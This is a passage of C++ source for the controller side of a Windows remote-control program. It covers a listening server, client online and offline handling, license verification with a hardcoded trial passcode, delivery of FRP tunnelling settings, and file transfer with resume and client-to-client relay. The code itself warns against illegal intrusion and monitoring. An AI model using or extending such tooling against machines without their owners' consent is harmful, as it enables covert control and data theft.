    AUTO_TICK(200, "");
    UINT ret = 0;
    if ( (ret = THIS_APP->StartServer(NotifyProc, OfflineProc, nPort, nMaxConnection, method)) !=0 ) {
        Mprintf("======> StartServer Failed \n");
        char cmd[200];
        sprintf_s(cmd, "for /f \"tokens=5\" %%i in ('netstat -ano ^| findstr \":%s \"') do @echo %%i", nPort.c_str());
        std::string output = exec(cmd);
        output.erase(std::remove(output.begin(), output.end(), '\r'), output.end());
        if (!output.empty()) {
            std::vector<std::string> lines = splitByNewline(output);
            std::sort(lines.begin(), lines.end());
            auto last = std::unique(lines.begin(), lines.end());
            lines.erase(last, lines.end());

            std::string pids;
            for (const auto& line : lines) {
                pids += line + ",";
            }
            if (!pids.empty()) {
                pids.back() = '?';
            }
            if (IDYES == THIS_APP->MessageBox(_L(_T("调用函数StartServer失败! 错误代码:")) + CString(std::to_string(ret).c_str()) +
                                              _L(_T("\r\n是否关闭以下进程重试: ")) + pids.c_str(), _TR("提示"), MB_YESNO)) {
                for (const auto& line : lines) {
                    auto cmd = std::string("taskkill /f /pid ") + line;
                    exec(cmd.c_str());
                }
                return Activate(nPort, nMaxConnection, method);
            }
        } else
            THIS_APP->MessageBox(_L(_T("调用函数StartServer失败! 错误代码:")) + CString(std::to_string(ret).c_str()));
        return FALSE;
    }

    ShowMessage(_TR("使用提示"), _TR("严禁用于非法侵入、控制、监听他人设备等违法行为"));
    CString strTemp;
    strTemp.FormatL("监听端口: %s成功", nPort.c_str());
    ShowMessage(_TR("操作成功"),strTemp);
    return TRUE;
}


BOOL CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
{
    if (!g_2015RemoteDlg || g_2015RemoteDlg->isClosed) {
        return FALSE;
    }
    int cmd = ContextObject->GetBYTE(0);
    AUTO_TICK(50, std::to_string(cmd));

    DialogBase* Dlg = (DialogBase*)ContextObject->hDlg;
    if (Dlg) {
        if (!IsWindow(Dlg->GetSafeHwnd()) || Dlg->IsClosed())
            return FALSE;
        Dlg->MarkReceiving(true);
        Dlg->OnReceiveComplete();
        Dlg->MarkReceiving(false);
    } else {
        HANDLE hEvent = USING_EVENT ? CreateEvent(NULL, TRUE, FALSE, NULL) : NULL;
        if (USING_EVENT && !hEvent) {
            Mprintf("===> NotifyProc CreateEvent FAILED: %p <===\n", ContextObject);
            return FALSE;
        }
        if (!g_2015RemoteDlg->PostMessage(WM_HANDLEMESSAGE, (WPARAM)hEvent, (LPARAM)ContextObject)) {
            Mprintf("===> NotifyProc PostMessage FAILED: %p <===\n", ContextObject);
            if (hEvent) SAFE_CLOSE_HANDLE(hEvent);
            return FALSE;
        }
        if (hEvent) {
            HANDLE handles[2] = { hEvent, g_2015RemoteDlg->m_hExit };
            DWORD result = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
            if (result == WAIT_FAILED) {
                DWORD err = GetLastError();
                Mprintf("NotifyProc WaitForMultipleObjects failed, error=%lu\n", err);
            }
        }
    }
    return TRUE;
}


BOOL CALLBACK CMy2015RemoteDlg::OfflineProc(CONTEXT_OBJECT* ContextObject)
{
    if (!g_2015RemoteDlg || g_2015RemoteDlg->isClosed)
        return FALSE;

    SOCKET nSocket = ContextObject->sClientSocket;

	CDialogBase* p = (CDialogBase*)ContextObject->hDlg;
	if (ContextObject->hWnd && ::IsWindow(ContextObject->hWnd) && p && p->ShouldReconnect()) {
		::PostMessageA(ContextObject->hWnd, WM_DISCONNECT, 0, 0);
		ContextObject->hDlg = NULL;
		ContextObject->hWnd = NULL;
	}

    // Fix use-after-free: Remove from m_HostList BEFORE returning.
    // After this function returns, MoveContextToFreePoolList() will free the context.
    // If we only post a message, the timer could fire and iterate m_HostList
    // before OnUserOfflineMsg runs, causing crash when accessing freed memory.
    //
    // Allocate OfflineInfo on heap to pass context data to UI thread safely.
    OfflineInfo* info = new OfflineInfo();

    EnterCriticalSection(&g_2015RemoteDlg->m_cs);
    // Copy info before removing (context will be freed after this function returns)
    info->hWnd = ContextObject->hWnd;
    info->ip = ContextObject->GetClientData(ONLINELIST_IP);
    auto tm = ContextObject->GetAliveTime();
    info->aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" :
                      tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
                      tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";

    // Remove from host list and pending online queue
    info->hasLogin = g_2015RemoteDlg->RemoveFromHostList(ContextObject);
    auto& pending = g_2015RemoteDlg->m_PendingOnline;
    auto it = std::find(pending.begin(), pending.end(), (context*)ContextObject);
    if (it != pending.end()) {
        pending.erase(it);
    }
    g_2015RemoteDlg->m_PendingOffline.push_back((int)nSocket);
    LeaveCriticalSection(&g_2015RemoteDlg->m_cs);

    // Post message with copied info (OnUserOfflineMsg will delete info)
    if (!g_2015RemoteDlg->PostMessage(WM_USEROFFLINEMSG, (WPARAM)info, 0)) {
        delete info;  // Prevent memory leak if PostMessage fails
    }

    ContextObject->hDlg = NULL;
    ContextObject->hWnd = NULL;

    return TRUE;
}


LRESULT CMy2015RemoteDlg::OnHandleMessage(WPARAM wParam, LPARAM lParam)
{
    HANDLE hEvent = (HANDLE)wParam;
    CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
    MessageHandle(ContextObject);
    if (hEvent) {
        SetEvent(hEvent);
        SAFE_CLOSE_HANDLE(hEvent);
    }
    return S_OK;
}

std::string getDateStr(int daysOffset = 0)
{
    // 获取当前时间点
    std::time_t now = std::time(nullptr);

    // 加上指定的天数（可以为负）
    now += static_cast<std::time_t>(daysOffset * 24 * 60 * 60);

    std::tm* t = std::localtime(&now);

    std::ostringstream oss;
    oss << std::setfill('0') << std::setw(4) << (t->tm_year + 1900)
        << std::setw(2) << (t->tm_mon + 1)
        << std::setw(2) << t->tm_mday;

    return oss.str();
}

bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size)
{
    CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)user;
    if (!ctx->Send2Client(data, size)) {
        return false;
    }
    CDlgFileSend* dlg = (CDlgFileSend*)ctx->hDlg;
    if (!dlg) return false;
    BYTE* name = data + sizeof(FileChunkPacket);
    dlg->UpdateProgress(CString((char*)name, chunk->nameLength), FileProgressInfo(chunk));

    return true;
}

bool SendDataV2(void* user, FileChunkPacketV2* chunk, BYTE* data, int size)
{
    CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)user;
    if (!ctx->Send2Client(data, size)) {
        return false;
    }
    CDlgFileSend* dlg = (CDlgFileSend*)ctx->hDlg;
    if (!dlg) return false;
    BYTE* name = data + sizeof(FileChunkPacketV2);
    dlg->UpdateProgress(CString((char*)name, (int)chunk->nameLength), FileProgressInfo(chunk));

    return true;
}

void delay_cancel(CONTEXT_OBJECT* ctx, int sec)
{
    if (!ctx) return;

    // 检查程序是否正在退出
    if (g_bAppExiting) return;

    CDlgFileSend* dlg = (CDlgFileSend*)ctx->hDlg;
    if (dlg) dlg->FinishFileSend(TRUE);

    // 分段睡眠，每 100ms 检查一次退出标志
    for (int i = 0; i < sec * 10 && !g_bAppExiting; i++) {
        Sleep(100);
    }

    // 再次检查退出标志
    if (g_bAppExiting) return;

    if (dlg && ::IsWindow(dlg->GetSafeHwnd()))
        dlg->PostMessageA(WM_CLOSE);
    ctx->hDlg = NULL;
    ctx->hWnd = NULL;
    ctx->CancelIO();
}

void FinishSend(void* user)
{
    CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)user;
    // 需要等待客户端接收完成方可关闭
    std::thread(delay_cancel, ctx, 15).detach();
}

bool IsDateInRange(const std::string& startDate, const std::string& endDate)
{
    // 校验格式：必须是8位纯数字
    auto isValidDate = [](const std::string& date) -> bool {
        if (date.length() != 8)
            return false;
        for (char c : date)
        {
            if (c < '0' || c > '9')
                return false;
        }
        int month = std::stoi(date.substr(4, 2));
        int day = std::stoi(date.substr(6, 2));
        return (month >= 1 && month <= 12 && day >= 1 && day <= 31);
    };

    if (!isValidDate(startDate) || !isValidDate(endDate))
        return false;

    if (startDate > endDate)
        return false;

    SYSTEMTIME st;
    GetLocalTime(&st);

    char today[9];
    sprintf_s(today, "%04d%02d%02d", st.wYear, st.wMonth, st.wDay);

    return (today >= startDate && today <= endDate);
}

BOOL CMy2015RemoteDlg::AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired)
{
    if (outExpired) *outExpired = false;

    if (sn.empty() || passcode.empty() || hmac == 0) {
        return FALSE;
    }
    auto v = splitString(passcode, '-');
    if (v.size() == 6 || v.size() == 7) {
        std::vector<std::string> subvector(v.end() - 4, v.end());
        std::string password = v[0] + " - " + v[1] + ": " + GetPwdHash() + (v.size() == 6 ? "" : ": " + v[2]);
        std::string finalKey = deriveKey(password, sn);
        std::string hash256 = joinString(subvector, '-');
        std::string fixedKey = getFixedLengthID(finalKey);
        if (hash256 != fixedKey)
            return FALSE;
    }

    static const char* superAdmin = getenv(BRAND_ENV_VAR);
    std::string pwd = superAdmin ? superAdmin : m_superPass;
    if (pwd.empty()) {
        Mprintf("请设置环境变量 " BRAND_ENV_VAR " 来给下级授权!\n");
    }
    BOOL b = VerifyMessage(pwd, (BYTE*)passcode.c_str(), passcode.length(), hmac);
    if (!b) return FALSE;
    auto list = StringToVector(passcode, '-', 2);
    BOOL valid = IsDateInRange(list[0], list[1]);
    std::string hmacStr = std::to_string(hmac);

    // 授权过期，更新或创建记录并标记为过期
    if (!valid) {
        Mprintf("授权已过期: %s\n", sn.c_str());
        if (outExpired) *outExpired = true;  // 签名有效但已过期
        if (ctx != nullptr) {
            std::string ip = ctx->GetClientData(ONLINELIST_IP);
            std::string location = m_IPConverter ? m_IPConverter->GetGeoLocation(ip) : "";
            std::string machineName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
            UpdateLicenseActivity(sn, passcode, hmacStr, ip, location, machineName);
        } else {
            UpdateLicenseActivity(sn, passcode, hmacStr);
        }
        SetLicenseStatus(sn, LICENSE_STATUS_EXPIRED);
        return FALSE;
    }

    // 检查授权是否已被撤销
    if (IsLicenseRevoked(sn)) {
        Mprintf("授权已被撤销: %s\n", sn.c_str());
        return FALSE;
    }

    // 授权成功时更新 license 活跃信息
    if (ctx != nullptr) {
        std::string ip = ctx->GetClientData(ONLINELIST_IP);
        std::string location = m_IPConverter ? m_IPConverter->GetGeoLocation(ip) : "";
        std::string machineName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
        UpdateLicenseActivity(sn, passcode, hmacStr, ip, location, machineName);
    } else {
        UpdateLicenseActivity(sn, passcode, hmacStr);
    }

    return TRUE;
}

BOOL CMy2015RemoteDlg::AuthorizeClientV2(context* ctx, const std::string& sn, const std::string& passcode, const std::string& hmacV2, bool* outExpired)
{
    if (outExpired) *outExpired = false;

    if (sn.empty() || passcode.empty() || hmacV2.empty()) {
        return FALSE;
    }

    // 检查 V2 前缀
    if (hmacV2.substr(0, 3) != "v2:") {
        Mprintf("V2 HMAC 格式错误: %s\n", hmacV2.c_str());
        return FALSE;
    }

    // 检查公钥是否已配置（全零表示未配置）
    bool keyConfigured = false;
    for (int i = 0; i < 64; i++) {
        if (g_LicensePublicKey[i] != 0) {
            keyConfigured = true;
            break;
        }
    }
    if (!keyConfigured) {
        Mprintf("V2 公钥未配置，无法验证 V2 授权\n");
        return FALSE;
    }

    // 使用 V2 验证
    BOOL b = verifyPasswordV2(sn, passcode, hmacV2, g_LicensePublicKey);
    if (!b) {
        Mprintf("V2 签名验证失败: %s\n", sn.c_str());
        return FALSE;
    }

    auto list = StringToVector(passcode, '-', 2);
    BOOL valid = IsDateInRange(list[0], list[1]);

    // 授权过期
    if (!valid) {
        Mprintf("V2 授权已过期: %s\n", sn.c_str());
        if (outExpired) *outExpired = true;  // 签名有效但已过期
        if (ctx != nullptr) {
            std::string ip = ctx->GetClientData(ONLINELIST_IP);
            std::string location = m_IPConverter ? m_IPConverter->GetGeoLocation(ip) : "";
            std::string machineName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
            UpdateLicenseActivity(sn, passcode, hmacV2, ip, location, machineName);
        } else {
            UpdateLicenseActivity(sn, passcode, hmacV2);
        }
        SetLicenseStatus(sn, LICENSE_STATUS_EXPIRED);
        return FALSE;
    }

    // 检查授权是否已被撤销
    if (IsLicenseRevoked(sn)) {
        Mprintf("V2 授权已被撤销: %s\n", sn.c_str());
        return FALSE;
    }

    // 授权成功时更新 license 活跃信息
    if (ctx != nullptr) {
        std::string ip = ctx->GetClientData(ONLINELIST_IP);
        std::string location = m_IPConverter ? m_IPConverter->GetGeoLocation(ip) : "";
        std::string machineName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
        UpdateLicenseActivity(sn, passcode, hmacV2, ip, location, machineName);
    } else {
        UpdateLicenseActivity(sn, passcode, hmacV2);
    }

    return TRUE;
}

BOOL IsTrail(const std::string& passcode)
{
    return passcode == "20260201-20280201-0020-be94-120d-20f9-919a";
}

BOOL IsLastDay(const std::string& passcode, const std::string& renewalPasscode) {
    bool isLastDay = false;
    // 使用有效的 passcode（续期后的优先）
    std::string effectivePasscode = renewalPasscode.empty() ? passcode : renewalPasscode;
    if (effectivePasscode.length() >= 17 && effectivePasscode[8] == '-') {
        // 提取 endDate: YYYYMMDD (位置 9-16)
        std::string endDateStr = effectivePasscode.substr(9, 8);
        // 获取今天的日期
        time_t now = time(nullptr);
        struct tm tm_now;
        gmtime_s(&tm_now, &now);
        char today[9];
        strftime(today, sizeof(today), "%Y%m%d", &tm_now);
        isLastDay = (endDateStr == today);
    }
    return isLastDay;
}

VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
{
    if (isClosed) {
        return;
    }
    clock_t tick = clock();
    unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0);
    LPBYTE szBuffer = ContextObject->InDeCompressedBuffer.GetBuffer();
    unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen();
    // 【L】：主机上下线和授权
    // 【x】：对话框相关功能
    switch (cmd) {
    case TOKEN_CLIENT_MSG: {
        ClientMsg *msg =(ClientMsg*)ContextObject->InDeCompressedBuffer.GetBuffer(0);
        PostMessageA(WM_SHOWERRORMSG, (WPARAM)new CString(_L(msg->text)), (LPARAM)new CString(_L(msg->title)));
        break;
    }
    case TOKEN_AUTH: {
        BOOL valid = FALSE;
        std::string version;
        std::string authStr;  // Authorization 字符串
        std::string passcode;
        std::string renewalPasscode, renewalHmac;  // 续期信息
        if (len > 20) {
            std::string sn(szBuffer + 1, szBuffer + 20); // length: 19
            passcode = std::string(szBuffer + 20, szBuffer + 62); // length: 42
            uint64_t hmac = len > 64 ? *((uint64_t*)(szBuffer+62)) : 0;
            version = len >= 80 ? std::string((char*)szBuffer + 70, (char*)szBuffer + 80) : "";
            // 去除末尾的空字符
            while (!version.empty() && version.back() == '\0')
                version.pop_back();

            // 检查是否为 V2 授权（hmac == 0 且有 V2 HMAC 字符串）
            std::string hmacV2;
            std::string pwdHash;
            size_t hmacV2End = 80;
            if (hmac == 0 && len > 80) {
                // V2 HMAC 字符串在 offset 80 处（null-terminated）
                hmacV2 = std::string((char*)szBuffer + 80);
                // 去除末尾空字符
                while (!hmacV2.empty() && hmacV2.back() == '\0')
                    hmacV2.pop_back();
                hmacV2End = 80 + hmacV2.length() + 1;  // +1 for null terminator
            }

            // 解析 pwdHash（在 hmacV2 之后，64 字节）
            if (len >= hmacV2End + 64) {
                pwdHash = std::string((char*)szBuffer + hmacV2End, 64);
            } 

            // 统一的 V1/V2 授权验证
            std::string ip = ContextObject->GetPeerName();
            auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH");
            valid = authorized;
            bool isV2Auth = !hmacV2.empty() && hmacV2.substr(0, 3) == "v2:";

            // 生成续期信息（如果有预设续期且 pwdHash 有效）
            // 支持已过期但签名有效的授权续期（前提：有预设续期）
            if ((valid || expired) && !pwdHash.empty()) {
                auto renewal = GenerateRenewalInfo(sn, passcode, pwdHash, isV2Auth);
                renewalPasscode = renewal.first;
                renewalHmac = renewal.second;

                // 如果是过期授权且成功生成续期，则视为有效（允许续期）
                if (expired && !renewalPasscode.empty()) {
                    valid = TRUE;
                    Mprintf("[TOKEN_AUTH] 已过期授权续期: %s\n", sn.c_str());
                }
            }

            // 构建 Authorization（多层授权）
            if (valid) {
                if (isV2Auth) {
                    // V2 授权请求：总是返回 Authorization（以便客户端更新）
                    // 心跳续期没有 Authorization 字段，所以 TOKEN_AUTH 必须返回
                    // 如果有续期，使用续期后的 passcode
                    std::string effectivePasscode = renewalPasscode.empty() ? passcode : renewalPasscode;
                    authStr = BuildAuthorizationResponse(sn, effectivePasscode, pwdHash, true);
                } else {
                    // V1 授权请求（pwdHash 参数在 V1 模式下不使用，传空字符串）
                    authStr = BuildAuthorizationResponse(sn, passcode, "", false);
                }
            }
        } else {
            Mprintf("授权数据长度不足: %u\n", len);
        }

        // 构建响应：[valid:4][message\0][authorization\0][renewal_passcode\0][renewal_hmac\0][frp_config\0][reserved\0]
        char resp[800] = { 0 };  // 增加缓冲区大小以容纳 frpConfig
        memcpy(resp, &valid, sizeof(valid));

        std::string msgStr;
        if (valid) {
            bool isLastDay = IsLastDay(passcode, renewalPasscode);
            msgStr = isLastDay ? _TR("此程序授权即将到期，请联系管理员续期") : _TR("此程序已获授权，请遵守授权协议，感谢合作");
        } else {
            msgStr = _TR("未获授权或消息哈希校验失败，可能有使用限制");
        }
        // 版本比较：如果服务端版本更高或客户端未上报版本，追加升级提醒
        if (valid && (version.empty() || version < VERSION_STR)) {
            msgStr += _TR("。最新版本 v");
            msgStr += VERSION_STR;
            msgStr += _TR("，请自行下载或联系管理员");
        }
        size_t offset = 4;
        memcpy(resp + offset, msgStr.c_str(), min(msgStr.length(), sizeof(resp) - offset - 1));
        offset += msgStr.length() + 1;  // +1 for null terminator

        // Authorization 追加在 message 之后
        if (!authStr.empty() && offset + authStr.length() + 1 < sizeof(resp)) {
            memcpy(resp + offset, authStr.c_str(), authStr.length() + 1);
            offset += authStr.length() + 1;
        } else {
            offset += 1;  // 空的 authorization，只占一个 null terminator
        }

        // 续期信息追加在 authorization 之后
        if (!renewalPasscode.empty() && offset + renewalPasscode.length() + 1 + renewalHmac.length() + 1 < sizeof(resp)) {
            memcpy(resp + offset, renewalPasscode.c_str(), renewalPasscode.length() + 1);
            offset += renewalPasscode.length() + 1;
            memcpy(resp + offset, renewalHmac.c_str(), renewalHmac.length() + 1);
            offset += renewalHmac.length() + 1;
        } else {
            // 空的续期信息，占两个 null terminator
            offset += 2;
        }

        // FRP 配置追加在续期信息之后（仅当授权有效时）
        std::string frpConfig;
        if (valid && len > 20) {
            std::string snForFrp(szBuffer + 1, szBuffer + 20);
            // 去除末尾空字符
            while (!snForFrp.empty() && snForFrp.back() == '\0')
                snForFrp.pop_back();
            frpConfig = LoadLicenseFrpConfig(snForFrp);
        }
        if (!frpConfig.empty() && offset + frpConfig.length() + 1 < sizeof(resp)) {
            memcpy(resp + offset, frpConfig.c_str(), frpConfig.length() + 1);
            offset += frpConfig.length() + 1;
        } else {
            offset += 1;  // 空的 frpConfig
        }

        // Reserved 字段（预留，当前为空）
        offset += 1;  // 空的 reserved

        ContextObject->Send2Client((PBYTE)resp, sizeof(resp));
        break;
    }
    case COMMAND_GET_FILE: {
        // 发送文件
        std::string dir = (char*)(szBuffer + 1);
        char* ptr = (char*)szBuffer + 1 + dir.length() + 1;
        auto md5 = CalcMD5FromBytes((BYTE*)ptr, len - 2 - dir.length());
        if (!m_CmdList.PopCmd(md5)) {
            Mprintf("【警告】文件传输指令非法或已过期: %s\n", md5.c_str());
            ContextObject->CancelIO();
            break;
        }
        auto files = *ptr ? ParseMultiStringPath(ptr, len - 2 - dir.length()) : std::vector<std::string> {};
        if (!files.empty()) {
            CDlgFileSend* dlg = new CDlgFileSend(this, ContextObject->GetServer(), ContextObject, TRUE);
            dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow());
            dlg->ShowWindow(SW_HIDE);
            ContextObject->hDlg = dlg;
            ContextObject->hWnd = dlg->GetSafeHwnd();
            std::string hash = GetPwdHash(), hmac = GetHMAC(100);
            std::thread(FileBatchTransferWorker, files, dir, ContextObject, SendData, FinishSend,
                        hash, hmac).detach();
        } else {
            ContextObject->CancelIO();
        }
        break;
    }
    case COMMAND_SEND_FILE: {
        // 接收文件
        if (ContextObject->hDlg == NULL) {
            CDlgFileSend* dlg = new CDlgFileSend(this, ContextObject->GetServer(), ContextObject, FALSE);
            dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow());
            dlg->ShowWindow(SW_HIDE);
            ContextObject->hDlg = dlg;
            ContextObject->hWnd = dlg->GetSafeHwnd();
        }
        DialogBase* dlg = (DialogBase*)ContextObject->hDlg;
        dlg->OnReceiveComplete();

        break;
    }
    case COMMAND_SEND_FILE_V2: {
        // V2 文件传输（支持 C2C）
        FileChunkPacketV2* pkt = (FileChunkPacketV2*)szBuffer;

        if (pkt->dstClientID == 0) {
            // 目标是主控端：本地接收
            if (ContextObject->hDlg == NULL) {
                CDlgFileSend* dlg = new CDlgFileSend(this, ContextObject->GetServer(), ContextObject, FALSE);
                dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow());
                dlg->ShowWindow(SW_HIDE);
                ContextObject->hDlg = dlg;
                ContextObject->hWnd = dlg->GetSafeHwnd();
            }
            // OnReceiveComplete() 会根据 cmd 字节自动判断 V1/V2
            DialogBase* dlg = (DialogBase*)ContextObject->hDlg;
            dlg->OnReceiveComplete();
        } else {
            // C2C：转发到目标客户端
            context* dstCtx = FindHost(pkt->dstClientID);
            if (dstCtx) {
                dstCtx->Send2Client(szBuffer, len);

                // 获取或创建进度对话框（和客户端->服务端相同方式）
                if (ContextObject->hDlg == NULL) {
                    CDlgFileSend* dlg = new CDlgFileSend(this, ContextObject->GetServer(), ContextObject, FALSE);
                    dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow());
                    dlg->ShowWindow(SW_SHOW);
                    dlg->SetWindowText(_TR("C2C 文件传输"));
                    ContextObject->hDlg = dlg;
                    ContextObject->hWnd = dlg->GetSafeHwnd();
                }

                // 更新进度
                CDlgFileSend* dlg = (CDlgFileSend*)ContextObject->hDlg;
                if (dlg && dlg->GetSafeHwnd()) {
                    CString fileName((char*)(pkt + 1), pkt->nameLength);
                    FileProgressInfo info(pkt);
                    dlg->UpdateProgress(fileName, info);

                    // 最后一个文件的最后一个包
                    if (pkt->fileIndex + 1 == pkt->totalFiles &&
                        pkt->offset + pkt->dataLength >= pkt->fileSize) {
                        dlg->FinishFileSend(TRUE);
                    }
                }
            } else {
                Mprintf("[V2] C2C 转发失败: 目标 %llu 不在线\n", pkt->dstClientID);
            }
        }
        break;
    }
    case COMMAND_FILE_RESUME: {
        // V2 断点续传控制
        // 注意：有两种格式的包共用此命令:
        // - FileResumePacketV2 (49+ bytes): 单文件续传请求/响应
        // - FileResumeResponseV2 (23+ bytes): 批量续传查询响应
        // 通过包大小区分

        if (len >= sizeof(FileResumePacketV2)) {
            // 大包: 按 FileResumePacketV2 解析
            FileResumePacketV2* pkt = (FileResumePacketV2*)szBuffer;

            if (pkt->dstClientID == 0) {
                // 目标是主控端 - 客户端请求续传到主控端
                Mprintf("[V2] 收到断点续传请求: transferID=%llu, flags=0x%04X\n", pkt->transferID, pkt->flags);

                if (pkt->flags & FFV2_RESUME_REQ) {
                    // 客户端询问：你收到了多少？
                    // 获取本地接收状态并发送响应
                    TransferStateInfo info;
                    if (GetTransferState(pkt->transferID, pkt->fileIndex, info)) {
                        // 构建 RESUME_RESP 包
                        size_t rangeDataSize = info.receivedRanges.size() * sizeof(FileRangeV2);
                        size_t totalSize = sizeof(FileResumePacketV2) + rangeDataSize;
                        std::vector<uint8_t> respBuf(totalSize);

                        FileResumePacketV2* resp = (FileResumePacketV2*)respBuf.data();
                        resp->cmd = COMMAND_FILE_RESUME;
                        resp->transferID = pkt->transferID;
                        resp->srcClientID = 0;  // 主控端
                        resp->dstClientID = pkt->srcClientID;  // 回复给请求方
                        resp->fileIndex = pkt->fileIndex;
                        resp->fileSize = info.fileSize;
                        resp->receivedBytes = info.receivedBytes;
                        resp->flags = FFV2_RESUME_RESP;
                        resp->rangeCount = (uint16_t)info.receivedRanges.size();

                        // 写入区间数据
                        FileRangeV2* ranges = (FileRangeV2*)(respBuf.data() + sizeof(FileResumePacketV2));
                        for (size_t i = 0; i < info.receivedRanges.size(); i++) {
                            ranges[i].offset = info.receivedRanges[i].first;
                            ranges[i].length = info.receivedRanges[i].second;
                        }

                        ContextObject->Send2Client((LPBYTE)respBuf.data(), (int)totalSize);
                        Mprintf("[V2] 已发送续传响应: received=%llu/%llu, ranges=%zu\n",
                            info.receivedBytes, info.fileSize, info.receivedRanges.size());
                    } else {
                        // 没有找到传输状态，可能是全新传输或已完成
                        Mprintf("[V2] 未找到传输状态: transferID=%llu\n", pkt->transferID);
                        // 发送空响应，表示需要从头开始
                        FileResumePacketV2 resp = {};
                        resp.cmd = COMMAND_FILE_RESUME;
                        resp.transferID = pkt->transferID;
                        resp.srcClientID = 0;
                        resp.dstClientID = pkt->srcClientID;
                        resp.fileIndex = pkt->fileIndex;
                        resp.fileSize = 0;
                        resp.receivedBytes = 0;
                        resp.flags = FFV2_RESUME_RESP;
                        resp.rangeCount = 0;
                        ContextObject->Send2Client((LPBYTE)&resp, sizeof(resp));
                    }
                }
                else if (pkt->flags & FFV2_CANCEL) {
                    // 取消传输
                    CleanupResumeState(pkt->transferID);
                    Mprintf("[V2] 传输已取消: transferID=%llu\n", pkt->transferID);
                }
            } else if (pkt->srcClientID == 0 && (pkt->flags & FFV2_RESUME_REQ)) {
                // 服务端是源 - 客户端请求续传服务端发送的文件
                Mprintf("[V2] 收到服务端->客户端续传请求: transferID=%llu, received=%llu/%llu\n",
                    pkt->transferID, pkt->receivedBytes, pkt->fileSize);
                HandleFileResumeRequest(ContextObject, szBuffer, len);
            } else {
                // 转发到目标客户端
                context* dstCtx = FindHost(pkt->dstClientID);
                if (dstCtx) {
                    dstCtx->Send2Client(szBuffer, len);
                    Mprintf("[V2] 转发续传包: transferID=%llu -> %llu\n", pkt->transferID, pkt->dstClientID);
                } else {
                    Mprintf("[V2] 续传目标不在线: %llu\n", pkt->dstClientID);
                }
            }
        } else if (len >= sizeof(FileResumeResponseV2)) {
            // 小包: 按 FileResumeResponseV2 解析（批量续传查询响应）
            FileResumeResponseV2* resp = (FileResumeResponseV2*)szBuffer;

            if (resp->dstClientID == 0) {
                // 目标是服务端 - 处理客户端的续传响应
                Mprintf("[V2] 收到客户端续传响应: %u 个文件, srcClientID=%llu\n", resp->fileCount, resp->srcClientID);

                // 解析响应条目
                std::map<uint32_t, uint64_t> offsets;
                const uint8_t* ptr = szBuffer + sizeof(FileResumeResponseV2);
                const uint8_t* end = szBuffer + len;
                for (uint32_t i = 0; i < resp->fileCount && ptr + sizeof(FileResumeResponseEntryV2) <= end; i++) {
                    const FileResumeResponseEntryV2* entry = (const FileResumeResponseEntryV2*)ptr;
                    if (entry->receivedBytes > 0) {
                        offsets[entry->fileIndex] = entry->receivedBytes;
                        Mprintf("[V2] 文件 %u: 已接收 %llu 字节\n", entry->fileIndex, entry->receivedBytes);
                    }
                    ptr += sizeof(FileResumeResponseEntryV2);
                }

                // 设置全局续传偏移
                SetPendingResumeOffsets(offsets);
            } else {
                // 转发到目标客户端
                context* dstCtx = FindHost(resp->dstClientID);
                if (dstCtx) {
                    dstCtx->Send2Client(szBuffer, len);
                    Mprintf("[V2] 转发续传响应: -> %llu, %u 个文件\n", resp->dstClientID, resp->fileCount);
                } else {
                    Mprintf("[V2] 续传响应目标不在线: %llu\n", resp->dstClientID);
                }
            }
        } else {
            Mprintf("[V2] 续传包大小无效: %u\n", len);
        }
        break;
    }
    case COMMAND_C2C_PREPARE_RESP: {
        // C2C 准备响应（返回目标目录给发送方）
        if (len < sizeof(C2CPrepareRespPacket)) break;
        C2CPrepareRespPacket* resp = (C2CPrepareRespPacket*)szBuffer;

        if (resp->srcClientID == 0) {
            // 目标是主控端 - 本地处理（M2C 传输，保存目标目录）
            uint16_t pathLen = resp->pathLength;
            if (len >= sizeof(C2CPrepareRespPacket) + pathLen) {
                std::string targetDir((const char*)szBuffer + sizeof(C2CPrepareRespPacket), pathLen);
                Mprintf("[V2] 收到目标目录响应: transferID=%llu, dir=%s\n", resp->transferID, targetDir.c_str());
                // M2C 传输时主控端是发送方，保存目标目录用于续传查询
                // 转换 UTF-8 为宽字符存入全局 map
                int wlen = MultiByteToWideChar(CP_UTF8, 0, targetDir.c_str(), -1, nullptr, 0);
                std::wstring wideDir(wlen - 1, 0);
                MultiByteToWideChar(CP_UTF8, 0, targetDir.c_str(), -1, &wideDir[0], wlen);
                SetSenderTargetFolder(resp->transferID, wideDir);
            }
        } else {
            // C2C - 转发到源客户端
            context* srcCtx = FindHost(resp->srcClientID);
            if (srcCtx) {
                srcCtx->Send2Client(szBuffer, len);
                Mprintf("[V2] 转发目标目录响应: -> srcClient=%llu\n", resp->srcClientID);
            } else {
                Mprintf("[V2] 目标目录响应：源客户端不在线: %llu\n", resp->srcClientID);
            }
        }
        break;
    }
    case COMMAND_FILE_QUERY_RESUME: {
        // V2 续传查询（基于文件特征匹配）
        FileQueryResumeV2* query = (FileQueryResumeV2*)szBuffer;

        if (query->dstClientID == 0) {
            // 目标是主控端 - 本地处理
            auto response = HandleResumeQuery((const char*)szBuffer, len);
            if (!response.empty()) {
                ContextObject->Send2Client((LPBYTE)response.data(), (int)response.size());
                Mprintf("[V2] 已响应续传查询: %zu 字节\n", response.size());
